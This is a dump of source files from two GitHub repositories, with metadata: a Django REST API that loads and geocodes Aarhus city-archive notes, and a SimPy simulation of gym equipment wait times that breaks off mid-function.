database_products[str(new_idx)] = product_in_db\n return database_products[str(new_idx)]\n\ndef change_product(product_in_db: ProductInDB, product_id: str):\n temp_product = {product_id : product_in_db}\n database_products.update(temp_product)\n return database_products[product_id]" } ]
2
andersravn/citystoriesapi
https://github.com/andersravn/citystoriesapi
49029e91e96bf9fd48769e370a09a52ccd40371f
90108b9f90e87f32450ed634d513f844f55496e2
5252a18dc714a718e3d80e16a056003fa647a630
refs/heads/master
2016-05-22T03:27:07.242809
2015-07-29T14:15:40
2015-07-29T14:15:40
39,099,558
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5514705777168274, "alphanum_fraction": 0.720588207244873, "avg_line_length": 18.428571701049805, "blob_id": "4bc504e388886bb56f7e83e9b93934c0afe40d2c", "content_id": "bd65896b99e60359f7cdc7af1d63462097ac89fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 136, "license_type": "no_license", "max_line_length": 26, "num_lines": 7, "path": "/requirements.txt", "repo_name": "andersravn/citystoriesapi", "src_encoding": "UTF-8", "text": "Django==1.8.3\ndjango-cors-headers==1.1.0\ndjango-filter==0.10.0\ndjangorestframework==3.1.3\nMarkdown==2.6.2\nrequests==2.7.0\nwheel==0.24.0\n" }, { "alpha_fraction": 0.5216240286827087, "alphanum_fraction": 0.5251544713973999, "avg_line_length": 36.14754104614258, "blob_id": "d0329cc53efbb6f2cc8882f711aacf1a652cf5da", "content_id": "aee94e042ac96b43763662f8cf21403a935626f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2266, "license_type": "no_license", "max_line_length": 114, "num_lines": 61, "path": "/api/migrations/0001_initial.py", "repo_name": "andersravn/citystoriesapi", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Entry',\n fields=[\n ('id', models.AutoField(serialize=False, verbose_name='ID', primary_key=True, auto_created=True)),\n ('content', models.CharField(max_length=25)),\n ('created', models.DateTimeField(auto_now_add=True)),\n ('user', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'ordering': ['-created'],\n },\n ),\n migrations.CreateModel(\n name='LatestPlace',\n fields=[\n ('id', models.AutoField(serialize=False, verbose_name='ID', primary_key=True, auto_created=True)),\n ('placeid', models.IntegerField()),\n ],\n ),\n migrations.CreateModel(\n name='Note',\n fields=[\n ('id', models.AutoField(serialize=False, verbose_name='ID', primary_key=True, auto_created=True)),\n ('note_id', models.CharField(max_length=8)),\n ('text_content', models.TextField()),\n ('note_type', models.CharField(max_length=10)),\n ('from_date', models.DateField()),\n ('media', models.BooleanField(default=False)),\n ('created', models.DateTimeField(auto_now_add=True)),\n ],\n ),\n migrations.CreateModel(\n name='Place',\n fields=[\n ('id', models.AutoField(serialize=False, verbose_name='ID', primary_key=True, auto_created=True)),\n ('placeid', models.IntegerField()),\n ('name', models.CharField(max_length=35)),\n ('rank', models.IntegerField()),\n ('notes_loaded', models.BooleanField(default=False)),\n ],\n ),\n migrations.AddField(\n model_name='note',\n name='place',\n field=models.ForeignKey(to='api.Place'),\n ),\n ]\n" }, { "alpha_fraction": 0.6732751727104187, "alphanum_fraction": 0.6819984316825867, "avg_line_length": 27.044445037841797, "blob_id": "a95b8b06ec5f69b6488f9c78de94b69433b3447e", "content_id": "fba07bad365b1aed662fde272d60cb94b6ccb714", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1261, "license_type": "no_license", "max_line_length": 60, "num_lines": 45, "path": "/api/models.py", "repo_name": "andersravn/citystoriesapi", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.contrib.auth.models import User\n# Create your models here.\n\n\nclass Entry(models.Model):\n content = models.CharField(max_length=25)\n user = models.ForeignKey(User)\n created = models.DateTimeField(auto_now_add=True)\n\n class Meta:\n ordering = ['-created']\n\n def __str__(self):\n return self.content\n\n\nclass Place(models.Model):\n placeid = models.IntegerField()\n name = models.CharField(max_length=35)\n rank = models.IntegerField()\n notes_loaded = models.BooleanField(default=False)\n\n def __str__(self):\n return self.name\n\n\nclass Note(models.Model):\n note_id = models.CharField(max_length=8)\n text_content = models.TextField()\n note_type = models.CharField(max_length=10)\n from_date = models.DateField()\n media = models.BooleanField(default=False)\n no_good = models.BooleanField(default=False)\n lat = models.CharField(max_length=12, default='none')\n lng = models.CharField(max_length=12, default='none')\n place = models.ForeignKey(Place)\n created = models.DateTimeField(auto_now_add=True)\n\n def __str__(self):\n return self.place.name + ' | ' + str(self.from_date)\n\n\nclass LatestPlace(models.Model):\n placeid = models.IntegerField()" }, { "alpha_fraction": 0.6559766530990601, "alphanum_fraction": 0.6676384806632996, "avg_line_length": 37.22222137451172, "blob_id": "27d8c6cab478229f3f2addce0b5e2cfc52f73281", "content_id": "8fb4d14f0bedae892559f3751627db4ddd17043b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 343, "license_type": "no_license", "max_line_length": 98, "num_lines": 9, "path": "/api/controllers.py", "repo_name": "andersravn/citystoriesapi", "src_encoding": "UTF-8", "text": "import requests\n\n\ndef get_address(location):\n response = requests.get('http://maps.googleapis.com/maps/api/geocode/json?latlng=' + location)\n data = response.json()\n street = data['results'][0]['address_components'][1]['long_name']\n number = data['results'][0]['address_components'][0]['long_name']\n return street + ' ' + number" }, { "alpha_fraction": 0.7145214676856995, "alphanum_fraction": 0.7145214676856995, "avg_line_length": 30.947368621826172, "blob_id": "eae021ac850b99abb75eeae6282d78242e89365f", "content_id": "7beb1a11816916c855030079811dec934a6bd6eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 606, "license_type": "no_license", "max_line_length": 83, "num_lines": 19, "path": "/api/urls.py", "repo_name": "andersravn/citystoriesapi", "src_encoding": "UTF-8", "text": "from django.conf.urls import include, url\nfrom rest_framework.routers import DefaultRouter\nfrom django.contrib import admin\n\nfrom api import views\n\nadmin.autodiscover()\n\nrouter = DefaultRouter()\nrouter.register(r'entries', views.EntryViewSet)\nrouter.register(r'users', views.UserViewSet)\n\nurlpatterns = [\n url(r'^admin/', include(admin.site.urls)),\n url(r'^$', include(router.urls)),\n url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n url('^notes/(?P<location>.+)/$', views.NoteView.as_view()),\n url(r'^runscripts/', views.note_scripts, name='note_scripts'),\n]" }, { "alpha_fraction": 0.6652631759643555, "alphanum_fraction": 0.6652631759643555, "avg_line_length": 30.66666603088379, "blob_id": "b85ce93b6bd05a8d9e7332d5df1fa2669d9d57ed", "content_id": "9bcc538d9031529ebb5a169e17db3e81660a36ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 475, "license_type": "no_license", "max_line_length": 67, "num_lines": 15, "path": "/dashboard/urls.py", "repo_name": "andersravn/citystoriesapi", "src_encoding": "UTF-8", "text": "from django.conf.urls import include, url\nfrom django.contrib import admin\n\nadmin.autodiscover()\n\nfrom dashboard import views\n\nurlpatterns = [\n url(r'^admin/', include(admin.site.urls)),\n url(r'^$', views.dash_view, name='dash'),\n url(r'^add-street/', views.add_street_view, name='add_street'),\n url(r'^login/', views.login_view, name='login'),\n url(r'^auth/', views.auth_view, name='auth_dash'),\n url(r'^logout/', views.logout_view, name='dash_logout'),\n]\n" }, { "alpha_fraction": 0.7956989407539368, "alphanum_fraction": 0.7956989407539368, "avg_line_length": 22.25, "blob_id": "db85c14a1db696d9fce838222e7e5ebd96aebc2c", "content_id": "6e6bae12763534f5dde6f73b2c8728d72e1a97ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 186, "license_type": "no_license", "max_line_length": 41, "num_lines": 8, "path": "/api/admin.py", "repo_name": "andersravn/citystoriesapi", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom api.models import Entry, Place, Note\n\n# Register your models here.\n\nadmin.site.register(Entry)\nadmin.site.register(Place)\nadmin.site.register(Note)\n" }, { "alpha_fraction": 0.5791114568710327, "alphanum_fraction": 0.5905429720878601, "avg_line_length": 30.54918098449707, "blob_id": "bc52041a8b25d6af8333698cb8dc23abf9b9e606", "content_id": "0e73c6efb902cb1f312ea68fa8bc3568bf7c1d90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3854, "license_type": "no_license", "max_line_length": 133, "num_lines": 122, "path": "/api/scripts.py", "repo_name": "andersravn/citystoriesapi", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport csv, os, datetime, requests\nfrom django.shortcuts import redirect\nfrom api.models import Place, Note\n\nos.chdir(os.environ.get('sejrssedler_steder'))\n\n\ndef byteify(input):\n if isinstance(input, dict):\n return {byteify(key):byteify(value) for key,value in input.iteritems()}\n elif isinstance(input, list):\n return [byteify(element) for element in input]\n elif isinstance(input, unicode):\n return input.encode('utf-8')\n else:\n return input\n\n# url = 'https://openaws.appspot.com/records?collection=1&locations=2670'\n# response = urllib.urlopen(url)\n# data = json.loads(response.read())\n\n\n# Indsætter alle unikke steder i Sejrs Sedler.\ndef load_csv():\n # Place.objects.all().delete()\n with open('sejrssedler_steder.csv', 'rt') as csvfile:\n notereader = csv.reader(csvfile, delimiter=',')\n firstline = True\n for row in notereader:\n if firstline:\n firstline = False\n continue\n p = Place(placeid=int(row[0]), name=row[1], rank=int(row[2]))\n p.save()\n\n\n# Henter data fra stadsarkivets api for hvert unikt steds id.\n# Hentede 11036 notes ved første run.\ndef get_notes(place):\n url = 'https://openaws.appspot.com/records?collection=1&locations='\n\n response = requests.get(url + str(place.placeid))\n data = response.json()\n note_type = ''\n\n # Tjekker om result objektet er tomt.\n try:\n data['result'][0]\n except IndexError:\n return\n\n for r in data['result']:\n if 'personalsedler' in r['description']['hierarchical_level'].lower():\n note_type = 'personal'\n else:\n note_type = 'emne'\n\n date = r['description'].get('from_date', '2017-01-01')\n year = date[:4]\n month = date[5:7]\n day = date[8:]\n analog_content = r.get('analog_content', 'none')\n media = False\n admin_data = r['administration'].get('admin_data', 'none')\n\n if admin_data is not 'none':\n media = admin_data.get('formidlingsegnet', 'none')\n\n if media is not 'none':\n media = r['administration']['admin_data']['formidlingsegnet']\n else:\n media = False\n\n # Tjekker efter fejlindtastning i måned.\n if month == '00':\n month = '01'\n\n # Tjekker efter fejlindtastning i dag.\n if day == '00':\n day = '01'\n\n if analog_content is not 'none':\n analog_content = r['analog_content']['storage_id']\n\n note = Note(note_id=analog_content,\n text_content=r['description']['textcontent'],\n note_type=note_type,\n from_date=datetime.date(int(year), int(month), int(day)),\n media=media,\n place=place)\n note.save()\n\n\n# 8494 tilbage efter første run.\ndef delete_duplicates():\n for row in Note.objects.all():\n if Note.objects.filter(note_id=row.note_id, note_type=row.note_type).count() > 1:\n row.delete()\n\n\ndef add_coords():\n notes = Note.objects.all()\n for note in notes:\n response = requests.get('https://maps.googleapis.com/maps/api/geocode/json?address=' + note.place.name + ',+Aarhus,+Danmark')\n data = response.json()\n note.lat = data['results'][0]['geometry']['location']['lat']\n note.lng = data['results'][0]['geometry']['location']['lng']\n note.save()\n\n\ndef add_street(street):\n Note.objects.all().delete()\n places = Place.objects.filter(name__contains=street)\n\n for place in places:\n get_notes(place)\n place.notes_loaded = True # notes_loaded indikerer nu om der loaded koordinater på sedler knytter til et placeid\n place.save()\n return redirect('/dash/add-street/')\n" }, { "alpha_fraction": 0.6418206095695496, "alphanum_fraction": 0.6418206095695496, "avg_line_length": 24.266666412353516, "blob_id": "a941069fb62d5bb625ca5bf547a11bf3c12ba812", "content_id": "a15efe9621eaf9120c2d2001f46ec9562ec51485", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1516, "license_type": "no_license", "max_line_length": 65, "num_lines": 60, "path": "/dashboard/views.py", "repo_name": "andersravn/citystoriesapi", "src_encoding": "UTF-8", "text": "from api import scripts\n\nfrom django.shortcuts import render, render_to_response, redirect\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import authenticate, login, logout\n\n# Create your views here.\n\n\ndef dash_view(request):\n context = {}\n template_name = 'dashboard/front.html'\n\n if request.method == 'GET':\n if request.user.is_authenticated():\n return render(request, template_name, context)\n else:\n return redirect('/dash/login/')\n\n\ndef add_street_view(request):\n context = {}\n template_name = 'dashboard/add_street.html'\n\n if request.method == 'GET':\n return render(request, template_name, context)\n\n if request.method == 'POST':\n street = request.POST['street_name']\n scripts.add_street(street)\n\n\ndef login_view(request):\n logout(request)\n context = {}\n template_name = 'dashboard/login.html'\n\n if request.method == 'GET':\n return render(request, template_name, context)\n\n\ndef auth_view(request):\n logout(request)\n username = request.POST.get('username', 'none')\n password = request.POST['password']\n\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n login(request, user)\n return redirect('/dash/')\n else:\n return redirect('/dash/login/')\n else:\n return redirect('/dash/login/')\n\n\ndef logout_view(request):\n logout(request)\n return redirect('/dash/login/')\n" }, { "alpha_fraction": 0.6773399114608765, "alphanum_fraction": 0.6773399114608765, "avg_line_length": 25.19354820251465, "blob_id": "4305c9ed4a56c5245bde8d7261613becf648ea53", "content_id": "d3f14075ed787dec6cf5707e660b827da5730001", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 812, "license_type": "no_license", "max_line_length": 77, "num_lines": 31, "path": "/api/serializers.py", "repo_name": "andersravn/citystoriesapi", "src_encoding": "UTF-8", "text": "from django.contrib.auth.models import User\nfrom rest_framework import serializers\n\nfrom api.models import Entry, Note\n\n\nclass EntrySerializer(serializers.ModelSerializer):\n user = serializers.PrimaryKeyRelatedField(read_only=True)\n\n class Meta:\n model = Entry\n fields = ('content', 'user', 'created')\n\n def validate_content(self, value):\n if ' ' in value:\n raise serializers.ValidationError('That was more than one word!')\n return value\n\n\nclass UserSerializer(serializers.ModelSerializer):\n class Meta:\n model = User\n fields = ('username', 'last_login')\n\n\nclass NoteSerializer(serializers.ModelSerializer):\n place = serializers.StringRelatedField()\n\n class Meta:\n model = Note\n fields = ('text_content', 'from_date', 'place')\n" }, { "alpha_fraction": 0.7198151350021362, "alphanum_fraction": 0.7203928232192993, "avg_line_length": 29.36842155456543, "blob_id": "de9ba31251429ecd39b8cb30058658c32bc3044a", "content_id": "31462b9e599bd56eb76ab23f87f2dd538a8524e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1732, "license_type": "no_license", "max_line_length": 91, "num_lines": 57, "path": "/api/views.py", "repo_name": "andersravn/citystoriesapi", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom django.shortcuts import render, render_to_response, redirect\nfrom django.contrib.auth.models import User\nfrom django.views.decorators.csrf import csrf_protect, ensure_csrf_cookie\nfrom django.contrib.auth import authenticate, login, logout\n\nfrom rest_framework import permissions, viewsets, generics\n\nfrom api import scripts\nfrom api import controllers\n\nfrom .permissions import IsAuthorOrReadOnly\nfrom .serializers import EntrySerializer, UserSerializer, NoteSerializer\nfrom .models import Entry, Note\n\n\ndef front_view(request):\n context = {}\n template_name = 'api/front.html'\n\n if request.method == 'GET':\n return render(request, template_name, context)\n\n\ndef note_scripts(request):\n if request.method == 'GET':\n #scripts.load_csv() # Indsætter alle unikke steder i Sejrs Sedler.\n #scripts.get_notes() # Henter data fra stadsarkivets api for hvert unikt steds id.\n #scripts.delete_duplicates()\n scripts.add_coords()\n\n\nclass EntryViewSet(viewsets.ModelViewSet):\n queryset = Entry.objects.all()\n serializer_class = EntrySerializer\n permission_classes = (permissions.IsAuthenticatedOrReadOnly,\n IsAuthorOrReadOnly)\n\n def pre_save(self, obj):\n obj.user = self.request.user\n\n\nclass UserViewSet(viewsets.ReadOnlyModelViewSet):\n queryset = User.objects.all()\n serializer_class = UserSerializer\n\n\nclass NoteView(generics.ListAPIView):\n queryset = Note.objects.all()\n serializer_class = NoteSerializer\n\n def get_queryset(self):\n location = self.kwargs['location']\n address = controllers.get_address(location)\n return Note.objects.filter(place__name=address)\n" } ]
11
Gadjimurad1/-
https://github.com/Gadjimurad1/-
8439b446fbab5f74fc9b198941444fa1913a6785
606592c02305d3e6e01dcc52e5667beecea24054
f0c5c33c5610e32d281a2896c05b615ed3698abc
refs/heads/main
2023-03-11T05:43:21.941925
2021-02-26T10:35:52
2021-02-26T10:35:52
342,542,011
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5852187275886536, "alphanum_fraction": 0.6123680472373962, "avg_line_length": 42.33333206176758, "blob_id": "df6daf95be05b142c51e61c50955861766869112", "content_id": "a0811b32811fe969c6b436ded2c99a2b5cfc7272", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 730, "license_type": "no_license", "max_line_length": 161, "num_lines": 15, "path": "/Abu.romance.py", "repo_name": "Gadjimurad1/-", "src_encoding": "UTF-8", "text": "class weapon:\r\n def __init__(self,name,type,Distance,Bullet_speed,Damage,Clip,Cartridges):\r\n self.name = name\r\n self.type = type\r\n self.Distance = Distance\r\n self.Bullet_speed = Bullet_speed\r\n self.Damage = Damage\r\n self.Clip = Clip\r\n self.Cartridges = Cartridges\r\n def start(self):\r\n print(\"Выстрел\")\r\n def stop (self):\r\n print('Перезарядка')\r\nmy_weapon=weapon('M416','Винтовка','25-450 м','880 м/с','43','30','5.56 мм')\r\nprint('Название-'+my_weapon.name,'Тип-'+my_weapon.type,'Дистанция-'+my_weapon.Distance,'Скорость пули-'+my_weapon.Bullet_speed,'Урон-'+my_weapon.Damage,sep='\\n')" } ]
1
LeeZeitz/GymWaitTimeSimulator
https://github.com/LeeZeitz/GymWaitTimeSimulator
a019ab666c8c526a968aeb899846ce23b3cf61f4
69229ae6ca88e51072fa89edb203d3438a2bcbda
3531dd1e3d0f38b9b2535f4d86ac80d6ec004303
refs/heads/master
2020-04-07T01:23:58.980655
2018-12-01T20:05:23
2018-12-01T20:05:23
157,940,114
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6108306646347046, "alphanum_fraction": 0.6337769627571106, "avg_line_length": 33.1129035949707, "blob_id": "bc4345bd22deb9ae209144151e560a9db6b9dc42", "content_id": "b419bb302f84bf62f9dd48edf4099c82f1a1d485", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2179, "license_type": "no_license", "max_line_length": 98, "num_lines": 62, "path": "/src/gym.py", "repo_name": "LeeZeitz/GymWaitTimeSimulator", "src_encoding": "UTF-8", "text": "import simpy\r\nimport random\r\nimport numpy as np\r\n\r\nFREE_WEIGHT_TIME = 26.68\r\nBIKE_TIME = 35.6\r\nCARDIO_TIME = 52.2\r\nMACHINE_TIME = 28.05\r\nRACK_TIME = 16.61\r\nBENCH_TIME = 8.57\r\n\r\n# Reps: U ~ [8 - 12]\r\n# Time per rep: [1s - 4s]\r\n# Sets: 3\r\n# Rest Period: normally distributed around 600 seconds per exercise\r\n# Exercises: 6-12\r\n\r\nclass Gym(object):\r\n\r\n def __init__(self, env, stream, session):\r\n self.env = env\r\n self.stream = stream\r\n self.weights = simpy.Resource(env, capacity=session['number_of_free_weights'])\r\n self.racks = simpy.Resource(env, capacity=session['number_of_racks'])\r\n self.machines = simpy.Resource(env, capacity=session['number_of_machines'])\r\n self.cardio = simpy.Resource(env, capacity=session['number_of_cardio'])\r\n self.bikes = simpy.Resource(env, capacity=session['number_of_bikes'])\r\n self.benches = simpy.Resource(env, capacity=session['number_of_benches'])\r\n\r\n \r\n def lift_free_weights(self, id):\r\n yield self.env.timeout(self.get_exercise_time(5))\r\n\r\n def use_rack(self, id):\r\n yield self.env.timeout(self.get_exercise_time(3))\r\n\r\n def do_cardio(self, id):\r\n yield self.env.timeout(self.stream.normal(CARDIO_TIME))\r\n\r\n def ride_bike(self, id):\r\n yield self.env.timeout(self.stream.normal(BIKE_TIME))\r\n\r\n def weight_machines(self, id):\r\n yield self.env.timeout(self.get_exercise_time(5))\r\n\r\n def bench_press(self, id):\r\n yield self.env.timeout(self.get_exercise_time(2))\r\n\r\n \r\n # Returns a random amount of time a piece of equipment will be in use for\r\n # Parameters:\r\n # number_of_exercises: (int) the number of exercises to calculate the service time of\r\n #\r\n def get_exercise_time(self, number_of_exercises):\r\n # Initialize equipment_time with 5 minute rest/prep period\r\n equipment_time = self.stream.normal(600)\r\n for i in range(number_of_exercises):\r\n reps = self.stream.randint(8, 12)\r\n time_per_rep = self.stream.randint(1, 4)\r\n equipment_time += reps * time_per_rep\r\n #print (equipment_time/60)\r\n return equipment_time/60\r\n\r\n" }, { "alpha_fraction": 0.5504587292671204, "alphanum_fraction": 0.6009174585342407, "avg_line_length": 11.75, "blob_id": "e0d48e7564ed632d4d0e43236a596bb3d0cdc3e3", "content_id": "7ad8a4a00baf90749f4cd24182bd8758bece3225", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 218, "license_type": "no_license", "max_line_length": 41, "num_lines": 16, "path": "/src/test.py", "repo_name": "LeeZeitz/GymWaitTimeSimulator", "src_encoding": "UTF-8", "text": "import numpy as np\r\n\r\nb = 1/10\r\nb = 10\r\n\r\nseed = 5\r\n\r\nstream = np.random.RandomState(int(seed))\r\n\r\nfor i in range(14):\r\n print (stream.exponential(b))\r\n\r\nprint ()\r\n\r\nfor i in range(12):\r\n print (stream.normal(5))" }, { "alpha_fraction": 0.5494201183319092, "alphanum_fraction": 0.570460855960846, "avg_line_length": 31.926828384399414, "blob_id": "bff9bd6a35ed0baeee2f729fb3706d413165bff6", "content_id": "fc3cd60d0685539bce26da0da4904af481314b1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9757, "license_type": "no_license", "max_line_length": 184, "num_lines": 287, "path": "/src/main.py", "repo_name": "LeeZeitz/GymWaitTimeSimulator", "src_encoding": "UTF-8", "text": "import simpy\r\nfrom gym import Gym\r\nimport random\r\nimport numpy as np\r\nimport copy\r\nimport sys\r\n\r\n'''\r\n Hours: \r\n Sunday\t 8a.m.–7p.m.\r\n Monday\t 5:45a.m.–10p.m.\r\n Tuesday\t 5:45a.m.–10p.m.\r\n Wednesday\t5:45a.m.–10p.m.\r\n Thursday\t5:45a.m.–10p.m.\r\n Friday\t 5:45a.m.–10p.m.\r\n Saturday\t8a.m.–7p.m.\r\n\r\n 6510 minutes/week\r\n 26040 minutes/month\r\n'''\r\n\r\n# Number of each type of equipment for each simulation\r\ninput_params = [\r\n # Original\r\n {\r\n 'number_of_free_weights': 8,\r\n 'number_of_racks': 2,\r\n 'number_of_machines': 7,\r\n 'number_of_bikes': 50,\r\n 'number_of_cardio': 20,\r\n 'number_of_benches': 2,\r\n 'changed': 'original'\r\n },\r\n # Change cardio\r\n {\r\n 'number_of_free_weights': 8,\r\n 'number_of_racks': 3,\r\n 'number_of_machines': 7,\r\n 'number_of_bikes': 50,\r\n 'number_of_cardio': 14,\r\n 'number_of_benches': 2,\r\n 'changed': 'cardio'\r\n },\r\n # Change free weights\r\n {\r\n 'number_of_free_weights': 7,\r\n 'number_of_racks': 3,\r\n 'number_of_machines': 7,\r\n 'number_of_bikes': 50,\r\n 'number_of_cardio': 20,\r\n 'number_of_benches': 2,\r\n 'changed': 'free weights'\r\n },\r\n # Change bikes\r\n {\r\n 'number_of_free_weights': 8,\r\n 'number_of_racks': 3,\r\n 'number_of_machines': 7,\r\n 'number_of_bikes': 38,\r\n 'number_of_cardio': 20,\r\n 'number_of_benches': 2,\r\n 'changed': 'bikes'\r\n },\r\n # Change machines\r\n {\r\n 'number_of_free_weights': 8,\r\n 'number_of_racks': 3,\r\n 'number_of_machines': 5,\r\n 'number_of_bikes': 50,\r\n 'number_of_cardio': 20,\r\n 'number_of_benches': 2,\r\n 'changed': 'machines'\r\n },\r\n # Change Benches\r\n {\r\n 'number_of_free_weights': 8,\r\n 'number_of_racks': 3,\r\n 'number_of_machines': 7,\r\n 'number_of_bikes': 50,\r\n 'number_of_cardio': 20,\r\n 'number_of_benches': 1,\r\n 'changed': 'benches'\r\n }\r\n]\r\n\r\nSIM_TIME = 26040\r\nINTERARRAVAL_TIME = 3.5\r\nNUMBER_OF_SIMULATIONS = 5\r\nNUMBER_OF_CUSTOMERS = [0 for i in range(NUMBER_OF_SIMULATIONS)]\r\ntotal_average_wait_times = [[] for i in range(NUMBER_OF_SIMULATIONS)]\r\nwait_times = [{\r\n 'cardio_wait_time': 0,\r\n 'bench_wait_time': 0,\r\n 'machines_wait_time': 0,\r\n 'rack_wait_time': 0,\r\n 'free_weights_wait_time': 0\r\n} for i in range(NUMBER_OF_SIMULATIONS)]\r\n\r\n\r\ndef weights(id, env, gym, wait_times):\r\n arrive_time = env.now\r\n with gym.weights.request() as request:\r\n yield request\r\n #print ('Customer {0} starts using free weights at {1:2f}'.format(id, env.now))\r\n start_time = env.now\r\n wait_times['free_weights_wait_time'] += start_time - arrive_time\r\n yield env.process(gym.lift_free_weights(id))\r\n #print ('Customer {0} finished using free weights at {1:2f}'.format(id, env.now))\r\n\r\ndef cardio(id, env, gym, wait_times):\r\n arrive_time = env.now\r\n with gym.cardio.request() as request:\r\n yield request\r\n #print ('Customer {0} starts using cardio at {1:2f}'.format(id, env.now))\r\n start_time = env.now\r\n wait_times['cardio_wait_time'] += start_time - arrive_time\r\n yield env.process(gym.do_cardio(id))\r\n #print ('Customer {0} finished doing cardio at {1:2f}'.format(id, env.now))\r\n\r\ndef racks(id, env, gym, wait_times):\r\n arrive_time = env.now\r\n with gym.racks.request() as request:\r\n yield request\r\n #print ('Customer {0} starts using rack at {1:2f}'.format(id, env.now))\r\n start_time = env.now\r\n wait_times['rack_wait_time'] += start_time - arrive_time\r\n yield env.process(gym.use_rack(id))\r\n #print ('Customer {0} finished using rack at {1:2f}'.format(id, env.now))\r\n\r\ndef machines(id, env, gym, wait_times):\r\n arrive_time = env.now\r\n with gym.machines.request() as request:\r\n yield request\r\n #print ('Customer {0} starts using weight machines at {1:2f}'.format(id, env.now))\r\n start_time = env.now\r\n wait_times['machines_wait_time'] += start_time - arrive_time\r\n yield env.process(gym.weight_machines(id))\r\n #print ('Customer {0} finished using weight machines at {1:2f}'.format(id, env.now))\r\n\r\ndef benches(id, env, gym, wait_times):\r\n arrive_time = env.now\r\n with gym.benches.request() as request:\r\n yield request\r\n #print ('Customer {0} starts using a bench at {1:2f}'.format(id, env.now))\r\n start_time = env.now\r\n wait_times['bench_wait_time'] += start_time - arrive_time\r\n yield env.process(gym.bench_press(id))\r\n #print ('Customer {0} finished using a bench at {1:2f}'.format(id, env.now))\r\n\r\nweight_activities = [\r\n {'activity': weights, 'probability': 30}, \r\n {'activity': racks, 'probability': 25}, \r\n {'activity': machines, 'probability': 25}, \r\n {'activity': benches, 'probability': 20}\r\n]\r\n\r\n# Weights: 90% -> 45\r\n# racks: 40% -> 20\r\n# machines: 30% -> 15\r\n# benches: 40% -> 20\r\n\r\ndef get_weight_activity(activities, stream):\r\n x = stream.randint(0, 100)\r\n prob = 0\r\n for i, activity in enumerate(activities):\r\n prob += activity['probability'] \r\n if x < prob:\r\n del activities\r\n return activity['activity']\r\n print ('ERROR, prob = {0}'.format(prob)) \r\n\r\n\r\ndef athlete(env, id, gym, wait_times, stream):\r\n #print('Customer {0} has arrived at the gym at {1:2f}'.format(id, env.now))\r\n\r\n r = stream.randint(0, 100)\r\n\r\n # Athlete does cardio (56% of them do)\r\n if r < 58:\r\n\r\n yield env.process(cardio(id, env, gym, wait_times))\r\n\r\n # Lift weights as well as doing cardio (32% do)\r\n if r < 32:\r\n activities = copy.deepcopy(weight_activities)\r\n # Do two weight lifting activities\r\n for i in range(2):\r\n activity = get_weight_activity(activities, stream)\r\n yield env.process(activity(id, env, gym, wait_times))\r\n \r\n \r\n # Athlete only lifts weights, no cardio (42% of them do)\r\n else:\r\n activities = copy.deepcopy(weight_activities)\r\n # Do three weight lifting activities\r\n '''\r\n i = stream.randint(0, 3)\r\n del activities[i]\r\n\r\n for activity in activities:\r\n yield env.process(activity(id, env, gym, wait_times))\r\n '''\r\n for i in range(3):\r\n activity = get_weight_activity(activities, stream)\r\n yield env.process(activity(id, env, gym, wait_times))\r\n\r\n\r\n# Instantiates a Gym object and pre-fills it with athletes. \r\n# Parameters:\r\n# env: simulation environment\r\n# stream: a random number stream\r\n# NUMBER_OF_CUSTOMERS: an array containing the number of customers for each sumulation run\r\n# n: an integer specifying which simulation run this is\r\n# session: dictionary of input parameter values {number_of_free_weights, number_of_racks, number_of_machines, number_of_bikes, number_of_cardio, number_of_benches}\r\n#\r\ndef setup(env, stream, NUMBER_OF_CUSTOMERS, n, session):\r\n gym = Gym(env, stream, session)\r\n for i in range(5):\r\n env.process(athlete(env, i, gym, wait_times[n], stream))\r\n NUMBER_OF_CUSTOMERS[n] += 1\r\n\r\n while True:\r\n yield env.timeout(stream.exponential(INTERARRAVAL_TIME))\r\n i += 1\r\n NUMBER_OF_CUSTOMERS[n] += 1\r\n env.process(athlete(env, i, gym, wait_times[n], stream))\r\n\r\n\r\n# Calculates and returns the standard deviation of a given sequence of numbers.\r\n# *Note* - The behavior of this function is undefined if a sequence of non-number types is provided\r\n# Parameters:\r\n# sequence: a list of numbers\r\n#\r\ndef standard_deviation(sequence):\r\n sd = 0\r\n mean = sum(sequence) / len(sequence)\r\n\r\n for i, element in enumerate(sequence):\r\n sd += (element ** 2) - ((i + 1) * (mean ** 2))\r\n\r\n sd /= (len(sequence) - 1)\r\n return sd\r\n \r\n\r\ndef results(num_cust, n):\r\n 